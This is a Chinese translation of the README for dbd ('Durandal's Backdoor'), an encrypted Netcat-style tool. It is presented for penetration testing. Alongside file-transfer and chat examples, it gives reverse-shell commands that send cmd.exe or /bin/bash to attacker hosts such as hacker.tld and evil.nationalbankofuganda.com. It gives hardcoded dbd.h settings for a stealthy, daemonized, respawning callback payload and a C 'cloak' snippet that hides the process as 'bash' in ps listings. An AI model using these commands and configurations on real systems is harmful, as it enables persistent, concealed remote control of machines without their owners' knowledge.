d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
#Durandal的后门 #版权所有 (C) 2013 Kyle Barnthouse [email protected] #dbd 遵循 GNU GPL 协议发布 #Mipsbe 二进制由 Darkerego 添加 [https://github.com/darkerego] [(mailto:[email protected])]
###简介
dbd 是一个 Netcat 克隆,旨在可移植并提供强加密。它运行在类 Unix 操作系统和 Microsoft Win32 上。dbd 具有 AES-CBC-128 + HMAC-SHA1 加密(由 Christophe Devine 实现)、程序执行(-e 选项)、选择源端口、带延迟的持续重连以及其他一些优秀特性。dbd 仅支持 TCP/IP 通信。源代码和二进制文件根据 GNU 通用公共许可证发布。
###编译
$ make
用法:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - 原生 win32 控制台应用(使用 Cygwin + MinGW)
make win32bg - 创建原生 win32 无控制台应用(使用 Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - 隐秘的无控制台应用
make mingw - 原生 win32 控制台应用(使用 MinGW MSYS)
make mingwbg - 原生 win32 无控制台应用(使用 MinGW MSYS)
make mingwbg CFLAGS=-DSTEALTH - 隐秘的无控制台应用(使用 MinGW MSYS)
make cygwin - Cygwin 控制台应用
make darwin - Darwin
交叉编译选项:
make mingw-cross - win32 交叉编译(i586-mingw32msvc-gcc)
make mingwbg-cross - win32 无控制台交叉编译(i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - 隐秘的 win32 交叉编译
make unix CROSS_COMPILE=<path/to/toolchain-> - 为任意架构交叉编译
打包 tarball(先将编译好的文件移到 binaries/ 目录):
make dist - 创建包含源文件、readme 和 binaries/ 的 tarball
要在类 Unix 操作系统下编译 dbd,你需要 gcc 和相关的开发工具。对于 Linux、FreeBSD、NetBSD、OpenBSD(可能还包括其他系统),请输入:
$ make unix
对于 SunOS/Solaris,请输入:
$ make sunos
要在微软 Windows(NT/2K/XP/2K3)下编译 dbd,你需要 MinGW+MSYS,或者带有完整开发支持的 Cygwin(Cygwin 的 MinGW gcc)。要在 Cygwin 下编译原生 Win32 dbd 控制台应用,请输入:
$ make win32
或者,在 MSYS 下:
$ make mingw
要编译无控制台("WinMain")的应用,请在 Cygwin 下输入:
$ make win32bg
或者,在 MSYS 下:
$ make mingwbg
要编译 Cygwin 专用的控制台应用,请输入:
$make cygwin
你可能想改变 dbd 的默认行为。其中最重要的事情之一是将默认的共享密钥改为你自己的口令。编辑 dbd.h 并替换为你偏好的设置。例如,你可能希望在没有选项启动 dbd 时,硬编码一个要连接的主机+端口。dbd.h 中提供了完整的示例。
###使用示例
发挥一点想象力,dbd 可以用于很多事情:
使用 dbd 在两个网络之间安全传输文件:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
或者从 win32:
C:\somedir>type input.fil | dbd -k secret snafu 12345
使用 dbd 作为简单(但安全)的聊天工具:
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
使用 dbd 作为渗透测试后门:
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
或者在类 Unix 操作系统下:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
###硬编码选项
除了使用命令行选项,你还可以通过在 dbd.h 中使用 #define 来硬编码变量。为此,将你想用的变量设置为命名常量,然后正常编译。例如,如果你希望硬编码一个 dbd 可执行文件,使其回连到 "evil.nationalbankofuganda.com" 的 995 端口并执行 "/bin/bash",你可以运行:
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
或者使用硬编码的 #define,你可以编辑 dbd.h:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
你还可以设置重生和隐秘选项以帮助维持连接:
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
这将设置连接为守护进程(用恶意软件术语来说就是“融化”),从不向 STDOUT 发送输出,并尝试在断开连接后每 15 分钟重新建立连接。
###罗慕兰隐形技术
现在我们开始进入有趣的部分。一旦你成为硬编码后门选项的大师,你就可以使用我们手中最有趣的命名常量:CLOAK。要使用它,只需设置该值:
#define CLOAK 1
注意:目前这仅适用于 *nix 编译。我计划最终添加 Win32 进程迁移/挂钩,以便那些目标也能享受到罗慕兰的爱。
对于 *nix 环境,此选项会清除 argv[0] 并将其替换为字符串 "bash\0"。它还会清除所有其他 argv[](如果 ps 返回 "bash -e /bin/bash someremotehost.com 443" 看起来会很傻,不是吗?)我希望不言而喻,除非你将变量硬编码到 DBD.H 中,否则不能使用此选项。另外,如果你在自己的系统上测试这个,找出要杀死的正确 pid 会很有趣。;)
欢迎在你正在进行的任何项目中使用这个清除器:
//获取我们的命名常量
int cloak = CLOAK;
//启动隐形装置
if(cloak)
{
#ifdef WIN32
//占位符
#else
//将 argv[0] 改为 bash
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
###警告
不要将缓存输入(包含命令或类似内容的文件)传递给监听的 "dbd -e" 会话。"dbd -e" 使用管道在被执行的程序和 dbd 之间传递数据。之所以使用管道(而不是简单的直通重复文件描述符),是因为管道与套接字之间存在加密。为了防止其中一个管道的写入端阻塞整个进程,我将其设置为非阻塞描述符。当一次性向 -e 程序传递太多输入时,管道缓冲区(在操作系统中)可能无法容纳所有数据,从而导致数据被截断(切断)。这个问题可以通过将 dbd 改为多线程等方式解决,但出于兼容性考虑,我会尽可能避免这样做。
##交叉编译
由于 dbd 设计为与其他工具/框架互操作,make 现在允许在安装了 mingw32-gcc 工具链的 Linux 系统上进行 win32 交叉编译。这些选项与它们的 Windows 原生对应项几乎相同,只是在所选构建后添加了 "-cross"。例如:
$ make mingw-cross
在 Linux 系统上执行的操作与以下命令相同:
$ make mingw
在安装了 mingw/msys 的 win32 系统上的操作。
目前所有交叉编译选项都是针对 Kali Linux 设计的,但应该也能在稍加修改后的任何 *nix 上运行。如果你安装了 mingw32-gcc 但 make 无法构建,请编辑 Makefile 顶部的 WCC 变量,放入你的 mingw32-gcc 二进制文件的路径。
从 dbd-1.5 版本开始,你可以通过设置 CROSS_COMPILE 为工具链前缀来使用任何交叉构建工具链编译 dbd。例如,构建 arm 版本就像这样简单:
$ make unix CROSS_COMPILE=arm-linux-gnueabi-
##高级魔法
如果你希望将 dbd 集成到利用框架中,你可以编写一个模块,生成带有针对特定目标配置选项的自定义 dbd.h。任何未在此文件中显式 #define 的内容仍将使用默认值,因此你不需要在头文件中编写所有内容。示例:删除 dbd.h 并替换为:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"
然后调用 make 构建一个自动连接、带隐形和重生功能的载荷,它会回连到运行在 evil.nationalbankofuganda.com 上的监听 dbd 代理,其选项为:
$ dbd -l -p 995 -k customcrypto
另一个高级技巧是使用 dietlibc 或 uClibc 编译 dbd。要编译 dietlibc linux dbd 代理,请使用:
$ make unix CROSS_COMPILE="diet -Os "
注意字符串中 's' 后面的空格。这使得 Makefile 能够添加带标准 CFLAGS 和 LDFLAGS 的 gcc,从而正确构建代理。使用 dietlibc 的优势在于它能为目标环境生成非常小的 100% 静态可执行文件(压缩前 linux dbd 代理大约 70K,而使用 glibc 和 gcc -static 的标准版本则超过 700K)。使用 uClibc 甚至更简单,因为你只需在 CROSS_COMPILE 下设置交叉构建前缀即可。
##许可证
dbd 版权所有 (C) 2013 Kyle Barnthouse [email protected]
本程序是自由软件;你可以根据自由软件基金会发布的 GNU 通用公共许可证的条款重新分发和/或修改它;可以是许可证的第 2 版,或(根据你的选择)任何更高版本。
本程序的发布是希望它有用,但不提供任何担保;甚至没有对适销性或特定用途适用性的默示担保。有关详细信息,请参阅 GNU 通用公共许可证。
你应该已经随本程序收到了一份 GNU 通用公共许可证副本;如果没有,请写信给 Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
dbd 的 AES-CBC-128 + HMAC-SHA1 实现版权归 Christophe Devine [email protected] 所有,并根据 GNU 通用公共许可证(GPL)发布。
部分代码(用于 doexec_win32.h)源自 Netcat Win32 移植版的 doexec.c,版权归 Weld Pond 和 hobbit。doexec.c 的部分代码版权归 Nathaniel W. Mishkin 所有(doexec.c 代码最初源自 rlogind.exe)。
Netcat 的原始版本由 hobbit [email protected] 编写。NT 版本由 Weld Pond [email protected] 完成。
(C) Kyle Barnthouse [email protected]
安全顾问
gitbrew.org
Hephaestus Security